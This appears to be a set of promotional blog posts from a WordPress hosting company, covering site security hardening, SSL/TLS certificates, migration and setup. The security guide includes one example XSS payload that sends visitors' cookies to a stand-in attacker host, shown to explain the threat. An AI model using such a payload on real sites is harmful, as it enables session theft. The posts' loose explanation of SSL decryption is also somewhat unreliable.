Older versions are more likely to have known security wormholes that malicious actors can exploit to enter your WordPress admin system. It's not surprising that hackers tend to look for sites with older versions of WordPress.

That's why we strongly recommend keeping WordPress up-to-date, but you should also hide your WordPress version by adding the following code to the functions.php file of your theme:

remove_action('wp_head', 'wp_generator');

Take care of XSS exploits

An XSS (Cross-Site Scripting) attack is when malicious scripts are injected into your website, usually as a script that runs alongside the browser, and are downloaded and run on visiting users' browsers.

For example, you could inject an XSS script by simply adding the script as a comment on a post, like this:

<script>window.location="http://attacker-website/?cookie="+document.cookie</script>

If your WordPress admin isn't prepared for XSS exploits, every user who enters the contaminated article will load the comment section and start the script running on their own browser. (A protected website will show the script in Plain Text.).

WordPress knows how to deal with XSS filled comments by default, using built-in filtering and sanitation features. XSS scripts can be injected in many other places, not just the comment section. They could be added to a search field, a contact form, etc.

The best way for a WordPress admin to protect a site from XSS exploits is by sanitizing the data before outputting the content.

Hide PHP errors

WordPress comes with an error reporting system as part of its core components. This is great for developers who want to debug coding errors in plugins or themes, but not so great for a WordPress admin who wants to secure a WordPress site, because it gives valuable information to hackers and malware operators to help them penetrate the site.

For example, a PHP error in WordPress would usually look like this:

PHP: syntax error , unexpected '^' in /wp-content/plugins/plugin.php on line 6

We recommend hiding PHP error messages by editing the wp-config.php file with the following code:

ini_set('display_errors','Off'); ini_set('error_reporting', E_ALL ); define('WordPress_DEBUG', false); define('WordPress_DEBUG_DISPLAY', false);

Reset file and folder permissions

Make sure WordPress admin permissions are set up according to official WordPress guidelines. A folder with a permission of 777 allows anyone to read and write files in the folder.

These are the recommended permissions for a WordPress website:

• wp-config.php: permission of 600
• All files: permission of 644 or 640
• All folders: permission of 750 or 755

* You can adjust the permissions of files and folders through an FTP client, and by using a Reset Permissions button on some hosting services.

uPress customers: There's a reset permissions button for all files and folders to WordPress' recommendation under Development → Additional Tools for Web Hosting.

Use Authentication keys

By default, WordPress installations come with a wp-config.php file that contains empty encryption. When you install WordPress, the system should generate authentication keys, also called security keys, to encrypt and decrypt the information stored on registered users' cookies, such as user name and password.

This is how authentication keys are set by default:

define('AUTH_KEY', 'put your unique phrase here');

define('SECURE_AUTH_KEY', 'put your unique phrase here');

define('LOGGED_IN_KEY', 'put your unique phrase here');

define('NONCE_KEY', 'put your unique phrase here');

define('AUTH_SALT', 'put your unique phrase here');

define('SECURE_AUTH_SALT', 'put your unique phrase here');

define('LOGGED_IN_SALT', 'put your unique phrase here');

define('NONCE_SALT', 'put your unique phrase here');

And this is how authentication keys should look:

define('AUTH_KEY', 'X<@vIF23>d~#%kYe^_>xhv~xUJ*ia*y+ALlJLGv7qFJe<EnpEwD:g~~&$}+DC5eF');

define('SECURE_AUTH_KEY', 'nA@GM?#u7v99Yk+8sM|+ZeF;]P74f`2v|z]{dKS|+cojC.w<&o4LeGvv-]$FWX4^');

define('LOGGED_IN_KEY', 'UNOk*x]$V_a]]vtKZM>`gs2Ht^O/`Rl|>EJzO9/*Y|)tJ2`&rg8FZ 5`l,67)`1U');

define('NONCE_KEY', 'pc-UFE^.+7?+vPD^,i& ^^R?+|I-q+7p>?d2*NZ|zUf|?e&v&?6iz-gF+~m*?(L=');

define('AUTH_SALT', '7n_U|q1kJ)s)8_#5sb! FY]l)Y!Eyyse85!/$G>qh(XbTYpefVxC_M/naQKhM#PL');

define('SECURE_AUTH_SALT', 'Mw^0=5J5:TWi;fl|*$l|i]f7Gyw-}1@-G5ZPc1atjhg@8v#&& ?1re#D!vtE:g&^');

define('LOGGED_IN_SALT', '~hZF}x2b&F^Q-WQK8^q>5pS!|6eT^<6z!WSNcv;Jd&8mY2T9M`:S Z ;OYGd[{$e');

define('NONCE_SALT', 'rH&yz6/_S0hXVnJOJ28?]EME!}s>V<%+<[e;FEl:d)t>+P%|atn+Ktq-lpk{+WIM');

If you don't have unique authentication keys configured in your wp-config.php file, we recommend that a WordPress admin creates them at the dedicated WordPress security keys generator and configures them into your wp-config.php.

Disable PHP files in folders

Tighten up website security by disabling the option of running PHP files in folders that do not require them. For example, the folder /wp-content/uploads/ isn't supposed to contain any PHP files.

Disabling this possibility effectively blocks hackers and malware from running PHP files containing security exploits that may exist in this folder.

You can use a .htaccess file to perform this block:

# .htaccess - Disable PHP Execution <Files *.php> Order Allow,Deny Deny from all </Files>

uPress customers: This option is an integral part of our management panel and is set to block by PHP files in the uploads directory by default.

Secure vital files

The wp-config.php file probably contains the most sensitive information about your website, including access credentials for your database and authentication keys and settings. As WordPress admin, you should block direct access to the file immediately.

This can be done using the .htaccsess file:

# .htaccess - Protect wp-config.php <Files wp-config.php> Order Allow,Deny Deny from all </Files>

uPress customers: This option is an integral part of our management panel and access to this file is blocked by default.

The WordPress admin should also secure the .htaccess file, which contains your website's server configuration. If you're using an Apache server, you'd usually protect it on the server level, but if that's not possible you can use the .htaccess file to protect itself:

# .htaccess - Protect .htaccess <Files ~ "^.*\.([Hh][Tt][Aa])"> Order Allow,Deny Deny from all Satisfy all </Files>

Securing a WordPress site requires constant vigilance

When you're a WordPress admin, you can never let down your guard (and we can say the same, as managed WordPress hosting experts - we can never let our own guard down, much less that of our clients!) We've shared some useful tips that can help make it easier and faster to secure a WordPress site, whether you’re offering managed WordPress hosting services, WordPress development, or ongoing WordPress support as a WordPress admin. Disabling and blocking as many open security holes as possible and keeping WordPress security patches updated are the most crucial steps in frustrating would-be hackers and malicious actors, but we could go on and on.

As managed WordPress hosting experts, we speak your language. We can geek out with you about comprehensive WordPress security, but we can also discuss XML-RPC Protocol, Rest API paths, and XSS exploits. You can trust us with the entire gamut of WordPress questions, so the only one left is... why aren't we hosting your WordPress site yet? Click below and join us.

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Credit card fraud is distressingly common, and no one wants to be the one to suffer. These understandable concerns about fraud and theft make many people way of using their credit card to make purchases online, but when you're running a business website through eCommerce web hosting, you need to find ways to reassure people that it's safe to buy items from your site.

Fortunately, today's security solutions have kept up with advances in credit card fraud, and now there are a number of ways to increase security for eCommerce web hosting and encourage customers to carry out online transactions. As managed WordPress hosting experts, we know that one effective, easy, option is to use SSL certificates on your site.

What is SSL?

Because the owners of online businesses need secure eCommerce web hosting that protects customer information, standards were set up to secure data. The first was the Secure Sockets Layer Protocol, or SSL, which encrypted data streams so they couldn't be read by hackers. SSL (and its successor TLS) exists to encrypt data for security, not to save data as some people mistakenly think.

Over time, newer and more effective protocols were developed and SSL became deprecated. The Transport Layer Security (TLS) Protocol became the standard that was established for the transmission of secure information over the internet, but people tend to use SSL and TLS interchangeably to refer to secure data transmission over the internet.

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Why use a TLS/SSL certificate with your eCommerce web hosting?

When you apply an SSL certificate to your WordPress site on eCommerce web hosting, it turns your web address from http:// to https://. This change is one that customers already widely recognize as a sign that trust this website to keep their sensitive financial information secure.

When your eCommerce web hosting uses an SSL certificate, it encrypts all the sensitive information that travels through the internet. Information that’s been encrypted with an SSL key can only be decrypted and read by the server or domain that has the key, which means only legitimate, trusted sites that were designated to receive and read it.

This is immensely important because when information travels between computers and devices, there are malicious actors trying to hack into the information stream. If they succeed in hacking into unencrypted information, they can easily read everything in it, including credit card numbers, usernames, passwords, residential addresses, etc.

How does a TLS/SSL certificate work to secure sites using managed WordPress web hosting for eCommerce?

Both TLS and SSL certificates work in the same basic way, using the public key/private key principle:

• A public key sits between the server (i.e. your website) and the client (i.e. your customer), but the private key is only stored on the server side.
• When a request is sent to the server, the browser encrypts the data using the public key. This encryption can only be unlocked using the private key.
• When the server accepts the request, it verifies the information was received correctly and decrypts it by combining both the public and private keys before passing the information on to the application (e.g. your WordPress online store).

What is the Encryption Function?

The encryption function basically verifies that the client has connected to the correct server. It then creates a secure communication channel by encrypting information passed between the user and your website. The encryption function makes sure that all the data reaches your website, without any errors or disruptions. If there is a mistake, the server will request an automatic replay from the browser.

Why is encryption important for eCommerce-based managed WordPress hosting?

• Encryption prevents unauthorized entities from reading information passed between the client and the server, which is called a Man In The Middle Attack;
• Enables customers to buy goods and services using a credit card;
• Secures sensitive information that’s transferred online, like addresses, driver's license numbers, passport or identity numbers, bank account information, etc.;
• Google prioritizes sites with a TLS/SSL certificate and boosts them in its search engine rankings.

How to get a TLS/SSL certificate

We're happy to tell you that uPress allows you to install unlimited TLS/SSL certificates for no extra cost.

If you aren't a uPress Customer

Visit our Packages for Non-Geeks page to select the right managed WordPress web hosting package for your eCommerce needs, or reach out to us and ask us directly!

If you are a uPress customer

• Enter your Management Panel and look below the Security tab
• You'll see a category marked "TLS/SSL Certificate"
• Click "Send Certificate Request"

The uPress team will quickly and professionally add the TLS/SSL Certificate to your WordPress site on your eCommerce web hosting. You will be notified as soon as the installation process is complete.

SSL/TLS certificates are vital for a secure eCommerce site

Now you understand about the many benefits of a TLS/SSL certificate, the role of encryption, and how encryption works, you can steam ahead to add a TLS/SSL certificate to your WordPress site.

At uPress, it's our goal to provide all our customers with TLS/SSL certificates to make sure your managed WordPress hosting experience is more reliable and secure.

As managed WordPress hosting experts, we know what we're talking about, whether you need advice on using SSL certificates, what other preventative maintenance you need to perform, or you just want to know why your site is running slow. You can trust us with the entire gamut of WordPress questions, so the only one left is... why aren't we hosting your WordPress site yet? Click below and join us.

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Web management agencies and web developers handle WordPress migration for client sites on a pretty regular basis. It's a simple task, but it still takes time that you'd rather spend on other things.

That's why, here at uPress managed WordPress hosting, we've developed a smooth, user-friendly Auto Migration Tool that automates WordPress migration to make it friction-free.

Here's a quick guide to WordPress migration with uPress.

Step 1: Run full backup

As you know, the first thing to do before you start any process is to backup the website, even if you're using the uPress WordPress migration tool. You can do this the usual way, either through the cPanel or Direct Admin to download a full backup, which takes 5-60 minutes.

Step 2: Open the Site Migration Tool

After logging in, go to the uPress Admin Panel to create your new site for WordPress migration.

Go to Homepage >> All Sites >> Create New Domain

After entering the domain in the correct field, click Create Package.

Next, navigate to the Admin Panel of your newly-created WordPress site (mysite.co.il) and open the site migration tool. Click the uPress auto migration tool tab.

Click the Use Site Migration Tool button, and then Start auto migration.

After this, you will immediately be taken to the next screen.

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Step 3: Using the uPress WordPress Migration Tool

Now you've got the uPress Site Migration tool open and ready to go, it's time to prepare your backup file by:

• Uploading the backup
• Choosing a file to upload directly to the home folder using FTP
• Cloning a site from an existing Git
• Loading a backup file from an HTTP link 
• Loading a backup file directly from an FTP server

Once you've uploaded the file, the system automatically identifies it as a full backup and activates the Start Replication button.

Step 4: Summarization

When you click Start Replication, the WordPress migration system will run the following tasks:

• Deploy backup file and place files in the correct folders
• Create a new database table>>deployment of database from backup file>>choose appropriate databases>>import file to the correct table
• Update WordPress (wp-config) settings in accordance with the new data
• Replicate file permissions for new server default
• Search and replace within the database, replacing the original domain address with a temporary uPress domain
• Cleanup all temporary cache files from the old server
• Database optimization

When Site Replication is complete, you'll see a "success" notification and receive a temporary domain address.

At this point, you can close the WordPress migration tool and continue to the new temporary domain.

That's all it takes to complete WordPress migration for any website, no matter how large or small. At uPress managed WordPress hosting, we strive to make things not only secure, but also intuitive, easy and quick.

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If you're building your own website on the WordPress content management platform, you might be feeling a little nervous about how to get started. Don't worry! We’re here with a friendly and non-scary guide that will take you through each step of building a new WordPress content management site.

Step 1: Add a new website to your Storage Package

Create a new website

The first step is to create the infrastructure for your WordPress content management site. You'll begin on your uPress home page and click MY WEBSITES.

The first step is to create the infrastructure for your WordPress content management site. You'll begin on your uPress home page and click MY WEBSITES.

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The dashboard will show you which managed WordPress hosting you've bought, either Personal, Professional, Business, or VPS Server.

You'll also be able to see how much package data you've used already, including data used for domains, disk space, and monthly traffic. When you have websites, you'll also see how much of your storage package remains.

Click the button marked Add new website.

Enter or purchase a domain

Next, you'll see a window asking for your website URL. If you already have a domain name and you're migrating from another platform, you'll enter it here.

By default, the box for Regular Domain is checked. If you already have a domain you'll leave it checked and enter your exact domain address below.

If you don't yet have a domain, you can buy one through uPress managed WordPress hosting. Check the box for uPress temp domain, and write the URL that you'd like to have in the field below. This will become part of your website name in the future, but for now it's just your temporary domain address.

Add the website

Click the blue button marked Add website, then click Login to Manage Domain.

If you accidentally click Close, a screen will appear with a gray square underneath the address you chose. In the middle of the screen is a button marked Management. Click on it to reach the desired screen.

Step 2: Install WordPress

Now you've added a website to your uPress storage package, you can install WordPress content management on the new site.

Click the green Install WordPress button, as shown in the image below.

You'll see a message telling you "WordPress installed." Click on the link below the message, or enter the exact URL into your browser.

You'll see this WordPress content management screen.

To continue with the installation process, choose the language you want to use to manage your WordPress content management site, then click Continue.

The next window asks for information about the WordPress content management website owner and manager. Complete each of the fields, and then click Install WordPress.

Step 3: Customize your WordPress content management site

Now you've successfully built a new uPress site and added WordPress content management. You can now choose a theme, add plugins, and customize the appearance of your WordPress content management site. It's time to make your WordPress content management site your own.

While you're tweaking and perfecting your site, it's only visible to you and whomever else you grant access. It’s not yet been published, so the public can't search for it or visit it.

Step 4: Publish your website

Up till now, your new WordPress content management site has been operating in a temporary domain provided by uPress managed WordPress hosting.

You can work on the website until it is time to publish it by redirecting the site to a Fixed Domain only after you redirect the Domain DNS to uPress. If you have not yet made a DNS redirect, you must access the Temporary Domain provided for this site. Don't forget! When you finish building your website, you need to change the Temporary Domain Name to a Fixed Domain and update the DNS addresses in the Domain Management interface you purchased through the Domain Registrar Company.

uPress Servers DNS addresses: ns1.upress.io \ ns2.upress.io

If you're not sure what to do, you can always open a uPress Support Ticket, and be sure to include the Domain Registrar Access Information and the Domain Address you wish to update.

Once your site is published, you need to double-check your website security. Learn more about how to do that in our SSL Certificate post right here!

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